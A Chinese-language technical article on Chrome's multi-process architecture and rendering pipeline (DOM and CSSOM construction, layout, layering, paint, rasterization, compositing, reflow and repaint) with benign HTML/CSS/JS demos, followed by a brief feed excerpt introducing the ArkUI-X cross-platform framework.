现代浏览器,如 Chrome、Firefox、Edge 等,都采用多进程架构,每个功能模块运行在不同的进程中,从而隔离它们的运行。这种设计方式确保了即使某个进程崩溃,其他进程仍然能够继续运行,避免整个浏览器被影响而关闭。

在Chrome中打开一个标签,点击 Chrome 浏览器右上角的三个点菜单,在下拉菜单中选择“更多工具”,然后点击“任务管理器”,就会打开 Chrome 的任务管理器窗口。任务管理器可以用来查看和管理浏览器中各个进程和服务的资源使用情况。

上图中,可以看到 Chrome 任务管理器中显示了多个进程及它们的相关信息,如浏览器主进程、GPU 进程、网络服务(Network Service)、存储服务(Storage Service)、以及 Service Workers 等等。下面将详细介绍这些进程和服务。

面向服务的进程模型

在 Chrome 的最新架构设计中,使用了面向服务的架构(Services Oriented Architecture,简称SOA)的思想。将浏览器的不同功能模块划分为独立的服务(Service),通过 IPC(Inter-Process Communication,进程间通信)来通信。每个服务都可以在独立的进程中运行,并且可以轻松拆分为不同的进程或聚合为一个进程。

常见的 IPC 通信工作机制:消息传递、共享内存。

当 Chrome 在功能强大的硬件上运行时,它可能会将每个服务拆分为不同的进程以提供更高的稳定性,但是如果是在资源受限的设备上,Chrome 会将服务整合到一个进程中以节省内存。

Chrome的主要进程

浏览器主进程(Browser Process)

浏览器主进程负责管理和调度各个辅助进程,确保它们正常运行并高效通信。例如渲染进程、GPU 进程和网络进程。当你在地址栏输入网址并按下回车键时,主进程会协调网络进程来发起网络请求,获取网页内容。

渲染进程(Renderer Process)

渲染进程专门负责将 HTML、CSS 和 JavaScript 等网页内容进行解析并绘制到屏幕上。它还负责处理用户交互,如点击、滚动等操作。

通常,每个标签页都有一个独立的渲染进程,它在沙盒环境中运行,确保一个页面的崩溃不会影响其他页面。例如,当某个网页因脚本错误崩溃时,其他页面依然可以正常运行。

标签页和渲染进程的关系:

  • 多个标签页共享渲染进程:某些特定情况下,多个标签页可能会共享一个渲染进程,用于节省系统资源;
  • 单个标签页可能使用多个渲染进程:某些复杂的页面可能会涉及多个 iframe,尤其是跨域的 iframe。这种情况下,浏览器可能会为主页面及其跨域的 iframe 分配多个渲染进程,每个 iframe 有自己的渲染进程。

插件进程(Plugin Process)

插件进程主要用于浏览器加载和执行某些特定的插件(如浏览器内置的 PDF 查看器、 Flash 插件等)。

每个插件在独立进程中运行,避免插件问题影响浏览器的稳定性。插件进程与主进程和渲染进程独立运行,即使插件出现故障,也不会导致整个浏览器崩溃。

网络进程(Network Process)

网络进程负责处理所有网络请求,包括 HTTP 请求、WebSocket、DNS 解析等。网络进程通常由浏览器主进程在浏览器启动时创建。所有的网络请求都通过网络进程来管理,这样可以减少重复的网络连接和资源加载(缓存网络请求结果),并提高网络请求的安全性。

GPU 进程(GPU Process)

负责处理网页中的 GPU 加速任务,如 3D 渲染、图形加速、视频解码、光栅化(Raster)等。它可以加速图像处理、CSS3 动画和变换等需要 GPU 计算的操作。

浏览器会根据系统的硬件条件自动选择使用 GPU 还是 CPU 来处理图形和渲染任务。在有 GPU 支持的情况下,浏览器会利用 GPU 进程来加速这些操作,以提供更高的性能和更流畅的用户体验。如果没有 GPU,浏览器会回退到 CPU 渲染,虽然可能性能不够好,但依然能够完成这些任务。

扩展进程(Extension Process)

为浏览器的扩展程序提供单独的进程,以确保扩展的运行不会影响浏览器的核心功能或安全性。

其它进程

此外,针对不同的需要和场景,浏览器还有很多其它的进程,比如音频进程(Audio Process)、视频进程(Video Process)等等。

多进程模型的优缺点

多进程模型提升了浏览器的稳定性、安全性和并发性能。但也带来了缺点:每个进程都需要独立的内存空间来存储其运行状态、资源等,运行多个标签页时,内存占用会显著增加,可能会导致系统卡顿。

浏览器的沙箱机制

浏览器的沙箱机制(SandBox)是一种安全技术,用于隔离网页和浏览器内的进程,防止恶意代码或不可信内容对操作系统或用户数据造成破坏。

浏览器的渲染引擎

浏览器的渲染引擎是负责解析 HTML, CSS, JavaScript,渲染页面。

主流浏览器的渲染引擎

浏览器引擎
Chrome早期:Webkit 现在:Chromium/Blink
Microsoft Edge基于 Chromium 的版本使用 Blink
FirefoxGecko (俗称Firefox内核)
Opera早期:Presto 现在:Chromium/Blink
SafariWebKit
Internet Explorer旧版 IE 使用的渲染引擎:Trident
旧版 Microsoft EdgeEdgeHTML(已抛弃)

WebKit 的发展历程:

渲染进程中的多线程

前面提到过,渲染进程(Rendering Process)负责管理和运行网页的渲染任务。渲染进程中包含渲染引擎,同时也处理其他与渲染相关的任务,如JavaScript执行、事件处理和用户交互等。

渲染进程内部是多线程的。通常包含以下几个主要线程:

渲染主线程(Main Thread)

  • 解析 HTML 和 CSS:主线程负责解析 HTML 构建 DOM 树,解析 CSS 构建 CSSOM 树。
  • 构建渲染树(Render Tree):根据 DOM 树和 CSSOM 树,生成渲染树。
  • 布局计算:主线程负责处理布局(Layout)任务,计算每个元素在页面中的大小和位置,生成布局树(Layout Tree)。
    • 在此阶段,主线程会根据页面的结构和样式决定哪些元素需要被提升为独立的图层,如使用 z-index 来控制元素的堆叠顺序等,这一操作被称为图层划分(Layering)。
    • 图层划分的目的在于提升性能,使得某些图层可以独立更新或动画化,而不必重新计算和重绘整个页面的布局,确保流畅的渲染体验。
  • 绘制(Paint):在图层划分后,主线程会为每个图层生成对应的 绘制指令(Paint Instructions),这些指令描述了如何绘制每个图层中的内容(背景、边框、文字等)。
  • 协调各个线程:主线程协调渲染流程的不同阶段,以及与其他线程的工作同步。

GUI渲染线程(GUI Rendering Thread)

  • 页面绘制执行:根据主线程的布局和绘制指令,将页面内容渲染到屏幕上。
  • 页面更新与重绘:页面的某些元素需要更新样式或内容时,GUI 渲染线程会处理页面的重绘(Repaint),将修改的部分重新绘制。
  • 响应页面变化:当用户交互(如滚动页面)或页面尺寸改变时,GUI 渲染线程负责根据这些变化重新渲染页面。

JS 引擎线程(JS Engine Thread)

职责:

  • 执行 JavaScript 代码:JS 引擎线程专门负责执行 JavaScript 代码,处理 DOM 操作、事件回调、异步任务等。
  • 修改 DOM 和样式:JS 引擎线程可以通过操作 DOM 和 CSSOM 来动态更新页面内容和样式。
  • 事件处理:处理用户交互事件(如点击、键盘输入等),并执行相应的回调函数。
  • 任务队列管理:负责管理任务队列,包括微任务(Microtasks)和宏任务(Macrotasks)。当有事件或异步操作完成时,JS 引擎线程会将它们加入队列中等待处理。

注意:

  • JS 引擎线程与 GUI 渲染线程是互斥的。当 JavaScript 代码正在执行时,GUI 渲染线程将暂停工作,直到 JavaScript 执行完成。这意味着过长的 JavaScript 执行会影响页面的渲染和响应。

重点提醒:

渲染进程内部是很多个线程一起协同配合工作的。一般,由于线程之间的相互依赖,为了方便理解,我们会将主线程、GUI 线程和 JS 线程归在一起,统称为主线程。但这并不会影响我们对 JavaScript 作为单线程语言的理解,尤其是在事件循环机制方面。

合成器线程(Compositor Thread)

合成线程执行图层的合成与渲染:

  • 一旦图层划分完成并生成绘制指令,主线程将这些信息传递给合成线程。
  • 合成线程会对图层进行分块处理(Tiling),并将这些分块交由光栅线程进行光栅化(将图层转换为像素)。
  • 最后,合成线程负责将已经光栅化的图层合成为完整的页面,并通过 GPU 显示到屏幕上。

光栅线程(Raster Thread)

  • 光栅化:光栅线程负责将合成线程分块后的内容转换为位图。光栅化的过程是将矢量图形(如 CSS 样式、文本、图像等)转换为像素,以便渲染到屏幕上。每个图层的块(Tile)都会由光栅线程处理,生成可以直接绘制的像素数据。
  • GPU 加速:光栅线程可以利用 GPU 加速,特别是在处理复杂的图形时。通过硬件加速,光栅化过程可以更快地完成,尤其是在渲染大型或复杂的页面时。GPU 通常可以在多个光栅线程中并行处理这些任务,进一步提升渲染性能。

合成线程与光栅线程的协作方式

  • 合成线程接收主线程传递的图层和绘制指令。它将图层分块(Tiling)并准备进行光栅化。
  • 合成线程将这些图层分块发送给光栅线程。光栅线程负责将这些图层块转换为像素数据(光栅化)。
  • 光栅线程接收来自合成线程的光栅化任务。它将图层块的矢量信息(如 CSS 样式、图像、文本等)转换为实际的像素数据。
  • 光栅化后的结果会发送回合成线程。合成线程将光栅化后的位图合成成最终的图像。它会将不同图层的位图合成到一起,生成完整的页面视图。
  • 合成线程会处理图层的合成顺序和透明度等属性,最终准备好一个完整的合成帧(Composited Frame)。
  • 合成线程将合成好的图层合成帧(Composited Frame)发送给 GPU 或屏幕渲染设备。
  • GPU 或屏幕渲染设备根据合成帧的像素数据,将图像绘制到屏幕上,用户就可以看到更新后的网页内容。

如下图:

工作线程(Worker Threads)

主要有两大应用:

  • Web Workers:可以在后台执行耗时的任务,避免阻塞主线程。比如进行复杂的计算、数据处理等任务时,不会影响页面的交互响应。它们在独立的线程中运行,与主线程之间通过消息传递进行通信。
  • Service Workers:在后台运行的脚本,用于拦截和处理网络请求、实现离线缓存等功能。可以缓存页面资源,使得在网络状况不佳或离线时,用户仍然能够访问部分或全部页面内容。

以上关于渲染进程中的多线程,可结合第七节内容一起看,方便理解。下面将详细介绍以上不同线程的工作内容。

网页的渲染流程

前置的 DNS 查询和建立网络连接等流程,暂不在本章内容中讨论。

先看流程图:

解析 HTML - 构建 DOM 树

DOM 树(Document Object Model Tree)的构建,是指浏览器在解析 HTML 文档时,将 HTML 元素转换为可以被操作的对象结构的过程。

流程如下:

加载二进制数据

当浏览器访问一个网站时,网络进程会处理与服务器之间的通信,获取所需的资源。服务器响应请求的数据是以二进制的字节流的形式返回。

转换字符

浏览器接收到字节流后,根据 HTTP 响应头中的编码格式(如 content-type: text/html; charset=utf-8)将字节转换为字符,如 0x48 0x54 0x4D 0x4 四个字节会被转换为 HTML 字符。

分词(Tokenization)

浏览器的 HTML 解析器可以将字符数据转换为 Token。Token 是 HTML 文档的基本解析单元,如开始标签、结束标签、属性、文本等。

  • 开始标签 Token:如 <div>
  • 结束标签 Token:如 </div>
  • 文本 Token:如 Hello, World!
  • 属性 Token:如 id="main"

解析(Parsing)

解析器将生成的 Token 解析为 DOM 树的节点。每个 HTML 元素或文本节点都被转换为 DOM 节点。

  • 处理开始标签:当遇到开始标签 Token 时,解析器创建一个新的 DOM 节点,并将其添加到当前节点的子节点列表中。
  • 处理文本节点:文本 Token 转换为文本节点,并添加到当前节点的子节点列表中(Token 栈)。
  • 处理结束标签:当遇到结束标签 Token 时,解析器将当前节点标记为结束,并返回到上一级节点。

解析过程中的 Token 栈操作如下:

比如有这样的 HTML 结构:

<html>
    <body>
        <div>hello chrome</div>
        <p>hello world</p>
    </body>
</html>

开始时,HTML解析器会创建一个根为 document 的空的 DOM 结构,同时将 StartTag document 的Token压入栈中,然后再将解析出来的第一个 StartTag html 压入栈中,并创建一个 html 的DOM节点,添加到document上,此时Token栈和DOM树如下:

接下来body和div标签也会和上面的过程一样,进行入栈操作:

随后就会解析到 div标签中的文本Token,渲染引擎会为该 Token 创建一个文本节点,并将该 Token 添加到 DOM 中,它的父节点就是当前 Token 栈顶元素对应的节点:

接下来就是第一个EndTag div,这时 HTML 解析器会判断当前栈顶元素是否是 StartTag div,如果是,则从栈顶弹出 StartTag div,如下图所示:

再之后的过程和上面类似,最终的结果如下:

可以在浏览器【性能】调试工具中查看 HTML 的解析过程:

局部更新

当 DOM 发生变化(如插入、删除、修改元素)时,浏览器不会重新生成整个 DOM 树,而是会对现有的 DOM 树进行相关的局部更新 —— 脏检查机制(Dirty Checking),避免不必要的性能开销。除非是进行了极端操作,如页面完全重新加载、彻底清空DOM 的根节点(body)等。

样式计算 - 构建 CSSOM 树

浏览器构建 DOM 树时,这个过程会占用主线程。为了提高效率,浏览器会开启一个预解析线程。预解析线程会解析其它可用的内容并请求高优先级的资源,如 CSS、JavaScript 和 web 字体。

在解析 HTML 的同时,浏览器也会解析所有与页面关联的 CSS 文件、内联样式和嵌入样式(<style> 标签中的内容)。浏览器将每个 CSS 规则解析成对应的节点,构建出一棵 CSSOM 树。

CSS 解析的数据流程图为:

前面的加载数据过程和加载 HTML 类似,这里只介绍下后面的步骤。

分词

分词就是将 CSS 源代码分解成基本的 token 单位,这些 token 包括选择器、属性名、属性值、单位、关键字、函数等。

例如,对于 CSS 规则 .my-class { color: blue; font-size: 14px; },分词后会识别出 .my-class 为选择器 token,colorfont-size 为属性名 tokensblue14px 为属性值 tokens。

还有其它类型的 Token,如伪类(Pseudo-classes)、伪元素(Pseudo-elements)、运算符(Operators)等等。

生成 CSS 规则集

CSS 代码进行分词(tokenization)后,解析器会将这些分解后的 token 转换成结构化的 CSS 规则集。

一个 CSS 规则集的基本组成如下:

  1. 选择器(Selector):确定样式应用的 HTML 元素。
  2. 样式声明块(Declaration Block):一个包含一组属性-值对的块,用花括号 {} 包围。每对属性-值用分号 ; 分隔。

完整示例:

/* 规则集示例 */
p { /* 选择器 */
  color: red; /* 样式声明:color 属性,值为 red */
  font-size: 14px; /* 样式声明:font-size 属性,值为 14px */
}

以掘金网页为例,在控制台输入 document.styleSheets ,可以看到该网页的样式表:

解析规则集

解析规则集后,就会创建 CSSOM 树的节点,如下图:

样式继承

在 CSS 中存在样式的继承机制,CSS 继承就是每个 DOM 节点都包含有父节点的样式。如上图中的设置了 display: none 样式的 span 标签,就继承了父节点 p 标签的样式。

继承属性值表

属性描述示例用途
color文本颜色。设置文本颜色
font-family字体系列。设置字体系列
font-size字体大小。设置字体大小
font-style字体样式(如斜体)。设置字体样式
font-variant字体变体(如小型大写字母)。设置字体变体
font-weight字体粗细。设置字体粗细
letter-spacing字母间距。设置字母之间的间距
line-height行高。设置文本行高
text-align文本对齐方式(如左对齐、右对齐、居中)。设置文本对齐方式
text-indent文本缩进。设置文本缩进
text-transform文本转换(如大写、小写)。设置文本的大小写转换
white-space空白符处理方式(如 normal, pre, nowrap)。设置如何处理文本中的空白
word-spacing单词间距。设置单词之间的间距
list-style列表样式(如圆点、数字)。设置列表项的样式
list-style-type列表项的样式类型(如 disc, circle)。设置列表项的标记样式
list-style-position列表标记的位置(如 inside, outside)。设置列表标记的位置
list-style-image列表标记的图像(如 URL)。设置列表标记的图像
border-collapse表格边框的折叠方式(如 collapse, separate)。设置表格边框折叠方式
border-spacing表格单元格之间的间距。设置表格单元格的间距
caption-side表格标题的位置(如 top, bottom)。设置表格标题的位置
empty-cells表格中空单元格的显示方式(如 show, hide)。设置表格中空单元格的显示方式

样式层叠

样式层叠是指多个 CSS 规则对同一元素应用样式时,如何确定最终的样式。

样式层叠的三个原则:

  • 来源优先级(Origin)
    • 浏览器默认样式:浏览器自带的默认样式。
    • 自定义样式:网站开发者定义的样式,通常通过 CSS 文件或内联样式来应用。
  • 特指性(Specificity)
    • 每个 CSS 选择器都有一个特指性值,表示选择器的复杂性。特指性值越高,优先级越高。特指性计算规则如下:
      • 内联样式(直接在元素上定义的样式):特指性值最高。
      • ID 选择器(如 #id):特指性值较高。
      • 类选择器、属性选择器和伪类选择器(如 .class, [type="text"], :hover):特指性值中等。
      • 元素选择器和伪元素选择器(如 div, p, ::before):特指性值最低。
  • 样式来源(Order of Appearance)
    • 当多个规则具有相同的特指性值时,最后出现的规则将覆盖之前的规则。这是因为在 CSS 中,后定义的样式具有更高的优先级。

层叠优先级的计算:

以下是一个简单的计算特指性的规则:

  • 内联样式:
    • 特指性值为 1000(即直接在元素上使用的样式,具有最高优先级)。
  • ID 选择器:
    • 特指性值为 100(ID 选择器的优先级)。
  • 类选择器、属性选择器和伪类选择器:
    • 特指性值为 10(类选择器、属性选择器和伪类选择器的优先级)。
  • 元素选择器和伪元素选择器:
    • 特指性值为 1(元素选择器和伪元素选择器的优先级)。

如下面的例子:

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>CSS Cascading Example</title>
    <style>
        /* 浏览器默认样式 */
        p {
            color: black;
        }

        /* 作者样式 */
        .text {
            color: blue; /* 特指性: 10 */
        }

        #unique {
            color: red; /* 特指性: 100 */
        }

        .text#unique {
            color: green; /* 特指性: 110 */
        }
    </style>
</head>
<body>
    /* 内联样式 */
    <p id="unique" class="text" style="color: yellow;">Sample text</p>
</body>
</html>

层叠过程:

  • 内联样式(color: yellow;):特指性值最高,应用于 p 元素。
  • .text#unique:具有特指性值 110,但由于内联样式特指性值更高,所以不生效。
  • #unique:特指性值 100,应用于 p 元素,但被内联样式覆盖。
  • .text:特指性值 10,应用于 p 元素,但被内联样式覆盖。
  • p:浏览器默认样式,特指性值最低,被内联样式覆盖。

全量更新

层叠和继承:CSS 样式的层叠(cascading)和继承机制使得单个规则的变化可能影响多个元素。例如,修改一个祖先元素的样式,可能会影响其所有子元素的样式。因此,为了确保样式规则的正确性,浏览器通常会选择重新计算整个样式表。

选择器复杂性:一些复杂的 CSS 选择器(如 :hover, nth-child() 等)依赖于整个文档的结构和状态。如果某些选择器发生变化,浏览器可能无法仅局部更新,因为这些规则的影响范围可能扩展到多个不相关的元素。

尽管整个 CSSOM 树不能局部更新,但浏览器可以通过一些优化机制,减少不必要的重绘和重排:

  • 样式变更的合并:当有多个 CSS 样式变更发生时,浏览器通常会合并这些变更,并在下一帧中一起处理,以避免频繁的重排和重绘。
  • 样式作用域限制:对于某些局部样式变更(如通过 JavaScript 动态修改内联样式),浏览器可以仅对受影响的部分进行样式重新计算,而不必完全重构整个页面的样式树。

合成渲染树(Render Tree)

在 DOM 树和 CSSOM 树都渲染完成之后,就会进入渲染树的构建阶段。

渲染树就是 DOM 树和 CSSOM 树的结合,会得到一个可以知道每个节点会应用什么样式的数据结构。

这个结合的过程就是从 DOM 树的根节点开始,遍历整个 DOM 树,然后在 CSSOM 树里查询到匹配的样式。

在构建渲染树时,某些节点(如 link)会被忽略;有些节点通过 css 隐藏了,也会在渲染树中被忽略。例如上图中的 span 节点。

布局(Layout,也称为 Reflow)

渲染树生成后,布局(Layout)通过计算每个节点的样式属性(如宽高、位置、边距等),确定它们在设备可视窗口中的确切位置和大小,生成布局树。也就是说,布局就是找到所有元素的几何关系的过程。

布局也称为重排(Reflow)。当浏览器需要重新计算元素的尺寸和位置时,就会触发重排。重排可能发生在页面的初次渲染过程中,也可能由于某些操作(如窗口大小改变、元素尺寸或内容发生变化)而被触发。

重排是一个性能开销较大的操作,因为它可能会影响整个页面的布局,尤其是在复杂的布局中,因此优化代码以减少重排是提升网页性能的重要手段。

布局的计算过程

  • 根元素的确定:
    • 布局过程由浏览器的渲染引擎(如 Chrome 的 Blink 引擎)负责。渲染引擎首先确定根元素(<html>)的尺寸和位置,通常基于浏览器窗口的大小和默认样式设置。
  • 递归计算子元素:
    • 从根元素开始,渲染引擎递归地计算每个子元素的尺寸和位置。这一过程考虑了元素的盒模型(包括内容区、内边距、边框和外边距)、CSS 布局属性(如 displayfloatposition 等)以及文档流的方向(如从左到右、从上到下等)。
  • 复杂布局处理:
    • 对于复杂的布局,如弹性布局(flexbox)和网格布局(grid),渲染引擎会根据相应的布局规则进行详细计算。这些布局模型具有独特的计算逻辑和规则,确保元素按照预期的方式排列和显示。

布局计算结果就形成了布局渲染树,准备后面阶段的分成和绘制流程。

分层(Layering)

形成布局树之后,浏览器主线程遍历布局树,根据响应的策略对布局树进行分层,并生成一棵对应的图层树。

可以在浏览器开发者工具中的 Layers 工具中查看分层情况。

可以看到顶部 Header 被划分到一个独立的图层中了,分层的原因是:当页面滚动时,position: fixed 的元素相对于视口固定不动。如果浏览器不把它放到独立图层,那么每次滚动时,这个元素会和其他内容一起重新绘制,影响性能。

分层的优点

  • 提高性能: 通过将页面内容分成多个图层,浏览器可以只更新和重绘受影响的图层,而不是整个页面。这减少了绘制和布局的开销,提高了渲染效率。
  • 优化动画和过渡效果: 对于使用 fixed 定位、 CSS 动画、变换(transform)和透明度(opacity)的元素,分层可以使这些元素在独立的图层上处理,从而实现更平滑的动画效果。
  • 减少重绘和回流: 分层允许浏览器仅对那些发生变化的图层进行重绘,减少了整个页面的重新布局和绘制,避免了不必要的回流(Layout Reflow)和重绘(Repaint)。
  • 提高滚动性能: 当滚动页面时,分层可以将滚动内容独立于其他图层,从而提高滚动的平滑性和响应速度。
  • 更好的 GPU 加速: 对于一些复杂的图层合成操作,浏览器可以利用图形硬件的加速功能。例如,使用 GPU 来加速图层的混合、变换和透明度计算等操作。

在实际开发中,合理利用图层可以显著提升性能。例如:

  • 动画和过渡效果: 使用 CSS transformopacity 时,可以促使浏览器将这些元素分配到独立的图层,以实现平滑的动画效果。
  • 滚动和变换: 对于需要进行滚动或变换的元素,使用图层可以避免重新布局,从而提高滚动性能和流畅度。
  • 合理使用will-change:will-change 允许开发者显式地声明哪些属性会改变,浏览器可以提前为这些元素分配图层,减少重绘和回流的开销,从而提高动画和视觉效果的性能。但是使用 will-change 可能会增加内存开销,因为每个使用了 will-change 的元素都会被提升到一个独立的图层。如果不加限制地使用,可能会导致内存使用量的增加,甚至可能影响页面性能。

绘制(Paint)

划分好图层之后,主线程会为每个图层生成绘制指令集。

绘制指令集,就是用于描述这一层的内容(如颜色、纹理、图像等)该如何画出来。比如把画笔移到某个位置,先画什么再画什么,把一个图层的绘制拆分成很多小的绘制指令 ,然后再把这些指令按照顺序组成一个待绘制列表。和 Canvas 的绘制有相似之处。

在 Chrome 开发者工具中的图层工具 — 分析器里,可以看到左侧的绘制指令和右侧的绘制过程。

主线程生成绘制指令集之后,会把图层和绘制指令传递给合成线程。

分块(Tiling)

合成线程在接收到主线程传递的图层(layer)和绘制指令后,会对图层进行分块(Tiling)处理。

分块的目的是为了优化图层的光栅化和渲染性能。根据图层大小,图层会被划分为多个瓦片(Tile),瓦片尺寸通常为 256x256 或 512x512 像素(具体大小可因设备而调整)。每个瓦片都独立进行处理和光栅化,光栅化线程可以并行处理多个瓦片,充分利用多核处理器的能力,从而显著减少光栅化时间。

对于大型或复杂的图层(例如整个网页或复杂背景),分块技术有效地管理和处理图层内容,避免一次性处理整个图层导致的性能消耗。

光栅化(Rasterization)

合成线程将这些图层的分块数据发送给光栅线程。光栅化是将页面上的图形、文本和其他可见元素转换为像素的过程。在浏览器中,页面的可视内容通常以矢量形式表示,但在显示器上呈现时需要将其转换为光栅图像(由像素组成的位图)。

有了很多分块之后,浏览器就可以动态分配多个光栅化线程,以提高并行处理效率。并且,分块之后也可以支持惰性光栅化(Lazy Rasterization)的优化。浏览器会对可视区域及其周围的区域进行优先光栅化。这是因为这些区域的内容用户会立即看到,优先处理可以提高页面的加载感知速度。

同时,浏览器也会缓存已光栅化的瓦片,以便在用户滚动或缩放时,重新使用这些瓦片,减少重复光栅化的开销。

合成阶段(Composite)

合成阶段的任务就是将这些光栅化后的分块合并到各自的图层中,并最终组合这些图层进行显示。

合成阶段主要处理下面几个任务:

  • 合并瓦片到图层:光栅化后的瓦片是图层的组成部分,合成阶段首先要确保这些瓦片正确地无缝拼合在各自的图层上,确保图层的完整性和连贯性。
  • 图层整理与排序:根据页面的结构和元素的堆叠顺序,建立图层的层次关系。比如,如果一个半透明的图像图层在文本图层之上,那么在合成时,图像图层就会在上面遮挡文本图层。
  • 处理图层属性、变换和动画:
    • 透明度处理:对于具有透明度的图层,计算其与下面图层的混合效果。根据透明度值和颜色值,确定最终合成后的颜色。例如,一个半透明的红色图层覆盖在蓝色图层上,会根据透明度计算出混合后的颜色。
    • 变换和动画:对于进行了平移、旋转、缩放等变换的图层,应用这些变换效果。例如,如果一个图层被移动了一定位置,在合成时需要将其像素按照移动后的坐标进行重新定位。
  • 输出到显示缓冲区:当所有图层完成合成后,合成后的结果是帧缓冲区中的一帧图像。合成器会将结果绘制到帧缓冲区中,最后呈现在屏幕上。

显示

有了帧图像之后,下一步就是将这些帧显示在显示器上。这个过程会从帧缓冲区读取图像数据,并通过显示器的刷新机制将其呈现到屏幕上。、

每个显示器都有固定的刷新频率,通常是 60HZ,也就是每秒更新 60 张图片。显示器所做的任务很简单,就是每秒固定读取 60 次缓冲区中的图像,并将读取的图像显示到显示器上。

渲染原理相关的常见问题

理解浏览器的渲染原理之后,开发中经常碰到的问题,就能够更好的理解并处理了。

重排和重绘

重排 是浏览器在需要重新计算页面元素的几何属性时进行的操作。它涉及到计算元素的大小、位置和布局,并在这些计算之后更新页面布局。

触发条件:

  • 修改元素的大小、位置或边距(例如 widthheightpaddingmarginposition 等)。
  • 添加或删除 DOM 元素。
  • 改变元素的显示状态(如 display: nonedisplay: block)。
  • 窗口大小变化:如用户调整浏览器窗口大小,浏览器需要重新计算元素的布局。
  • 字体变化:改变字体的大小、类型或样式可能导致重排,因为这些变化会影响元素的尺寸和位置。
  • 读取某些布局属性(如 offsetWidthoffsetHeight 等),因为浏览器需要确保这些值是最新的,从而会先触发重排。

重绘 是在浏览器已经知道元素的位置和尺寸之后,更新这些元素的视觉表现的过程。它涉及到绘制元素的颜色、边框、背景等视觉样式。

  • 样式更新:修改了不影响布局的 CSS 属性,如 color、background-color、border-color、visibility 等。
  • 内容更新:更改文本内容或图片的源,这会导致浏览器更新这些内容的显示。
  • 元素的显示状态变化:如通过 JavaScript 更改元素的 visibility 或 opacity 属性。

重排 是重新计算布局,开销较大。重绘 是重新绘制元素外观,开销较小但频繁重绘仍然影响性能。

优化建议

为了避免频繁的重排和重绘导致性能下降,可以采取以下优化措施:

  1. 减少 DOM 操作:
    避免频繁操作 DOM,特别是涉及尺寸、布局的变化。可以将多个 DOM 操作合并成一次性操作。
  2. 批量更新:
    使用 documentFragmentdisplay: none 暂时隐藏元素,在内存中进行批量修改,然后再一次性显示,减少对页面的反复更新。
  3. 避免频繁读取布局属性:
    避免在 JavaScript 中频繁读取 offsetHeightoffsetWidth 等布局属性。这些属性会强制浏览器同步执行重排操作。可以将值缓存起来,避免多次访问触发重排。
  4. 使用 CSS3 动画:
    使用 transformopacity 等不会触发重排的 CSS 属性来创建动画,而避免使用会触发重排的属性,如 topleftwidth 等。

更高效的动画

尽可能通过 CSS transition 和 animation 创建动画。JS 可以 requestAnimationFrame 来创建动画,因为 requestAnimationFrame 的回调函数是在浏览器进行下一次重绘之前触发的。

下面举个例子,说明 transform 对比使用 left 创建动画的优势:

<!DOCTYPE html>
<html lang="en">

<head>
  <meta charset="UTF-8" />
  <meta http-equiv="X-UA-Compatible" content="IE=edge" />
  <meta name="viewport" content="width=device-width, initial-scale=1.0" />
  <title>Document</title>

  <style>
    .ball {
      width: 100px;
      height: 100px;
      background: #f40;
      border-radius: 50%;
      margin: 30px;
    }

    .ball1 {
      animation: move1 1s alternate infinite ease-in-out;
    }

    .ball2 {
      position: fixed;
      left: 0;
      animation: move2 1s alternate infinite ease-in-out;
    }

    @keyframes move1 {
      to {
        transform: translate(100px);
      }
    }

    @keyframes move2 {
      to {
        left: 100px;
      }
    }
  </style>
</head>

<body>
  <button id="btn">死循环5秒</button>
  <div class="ball ball1"></div>
  <div class="ball ball2"></div>
  <script>
    function delay(duration) {
      const start = Date.now();
      while (Date.now() - start < duration) { }
    }
    btn.onclick = function () {
      delay(5000);
    };
  </script>
</body>

</html>

运行结果如下:

可以发现,使用 left 变化实现动画的蓝色小球,会一直触发重绘;而使用 transform 变换实现动画的红色小球,只会绘制一次。在使用 js 死循环卡死主线程的 5s 时间里,主线程无法完成重绘的操作,造成蓝色小球卡住不动。

DocumentFragment 的原理

DocumentFragment 是浏览器提供的一种轻量级的文档片段,它是一个特殊的 DOM 节点,存在于内存中,不会直接被渲染到页面上。DocumentFragment 的核心目的是提供一个便捷且高效的方式,允许开发者在内存中进行批量的 DOM 操作,然后一次性将其添加到文档中,减少性能消耗。

使用方式如下:

// 创建一个 DocumentFragment
let fragment = document.createDocumentFragment();

// 创建一些 DOM 元素
let newDiv = document.createElement('div');
let newParagraph = document.createElement('p');

// 将元素添加到 DocumentFragment
fragment.appendChild(newDiv);
fragment.appendChild(newParagraph);

// 一次性将所有子节点插入到 DOM 树中
document.body.appendChild(fragment);

// 此时,fragment 中的子节点已经被移到 DOM 树中,fragment 为空

JS 的执行为什么会阻碍渲染

前面提到过,浏览器渲染进程内部是很多个线程一起协同配合工作的。一般,由于线程之间的相互依赖,为了方便理解,我们会将主线程、GUI 线程和 JS 线程归在一起,统称为主线程。

JS 运行在浏览器的主线程上,而主线程同时也负责处理页面的解析、布局和绘制等任务。当 JavaScript 执行时,主线程被占用,因为 JS 可以通过操作 DOM 和 CSSOM 来动态更新页面内容和样式,这样一来其他任务(如 DOM 解析和渲染)就会被阻塞。因此,如果 JavaScript 执行时间过长,整个页面的渲染过程可能会被延迟,从而导致页面加载缓慢或出现明显的卡顿。

如下面的例子:

<!doctype html>
<html lang="en">
  <head>
    <meta charset="UTF-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0" />
    <title>JS 的执行会阻塞主渲染进程</title>
  </head>
  <body>
    <p>我是内容1</p>
    <button>修改内容的按钮</button>

    <script>
      const p = document.querySelector('p');
      const button = document.querySelector('button');

      // 死循环指定的时间
      function whileLoop(time) {
        const start = Date.now();
        while (Date.now() - start < time) {}
      }

      button.addEventListener('click', () => {
        // 1. 执行死循环
        whileLoop(3000);
        // 2. 修改内容
        p.textContent = '我是内容2';
      });
    </script>
  </body>
</html>

主线程被占用时,无法在点击按钮后修改 p 标签中的内容。

Web Works

Web Workers 运行在与主线程(即主 JavaScript 线程)隔离的独立线程中。这意味着 Web Workers 的执行不会阻塞主线程的 UI 渲染和用户交互,可以提升网页的响应速度和整体性能。

参考文档

by DOM炼金术士 at January 22, 2025 08:58 AM

juejin android

Harmony Next 跨平台开发入门

ArkUI-X 官方介绍

官方文档:gitee.com/arkui-x/doc…

ArkUI跨平台框架(ArkUI-X)进一步将ArkUI开发框架扩展到了多个OS平台:目前支持OpenHarmony、Android、 iOS,后续会逐步增加更多平台支持。开发者基于一套主代码,就可以构建支持多平台的精美、高性能应用。

创建工程

gitee.com/arkui-x/doc…

在主菜单栏,单击Build > Build Hap(s)/APP(s) > Build APP(s)

arkuix_build.png

